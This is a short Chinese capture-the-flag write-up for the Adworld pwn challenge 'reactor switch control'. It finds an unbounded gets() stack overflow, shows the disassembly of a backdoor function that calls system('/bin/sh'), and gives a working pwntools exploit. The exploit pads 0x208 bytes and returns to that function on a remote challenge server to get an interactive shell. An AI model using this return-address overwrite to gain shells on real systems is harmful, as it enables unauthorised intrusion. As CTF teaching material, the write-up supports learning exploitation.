攻防世界 Pwn 反应釜开关控制
1.题目下载地址
2.checksec
只开启了NX,并且是64位程序
3.IDA分析
- 看到一个gets函数,并且没有边界限制
- 存在溢出可以利用
- 再往下看其他的函数
- 虽然题目给了很多函数,但是没开canary,没开PIE
- 没有什么难度,直接ret到后门函数即可
.text:00000000004005F6 public shell
.text:00000000004005F6 shell proc near ; DATA XREF: normal+4E↓o
.text:00000000004005F6 ; __unwind {
.text:00000000004005F6 push rbp
.text:00000000004005F7 mov rbp, rsp
.text:00000000004005FA mov edi, offset command ; "/bin/sh"
.text:00000000004005FF call _system
.text:0000000000400604 nop
.text:0000000000400605 pop rbp
.text:0000000000400606 retn
.text:0000000000400606 ; } // starts at 4005F6
.text:0000000000400606 shell endp
所以 addr_binsh = 4005F6
再去看一下溢出量
0x200+8
4.exp
from pwn import *
#sh=process('./control')
sh=remote('124.126.19.106','53303')
sh.recvuntil('>')
payload=0x208*'a'+p64(0x4005F6)
sh.sendline(payload)
sh.interactive()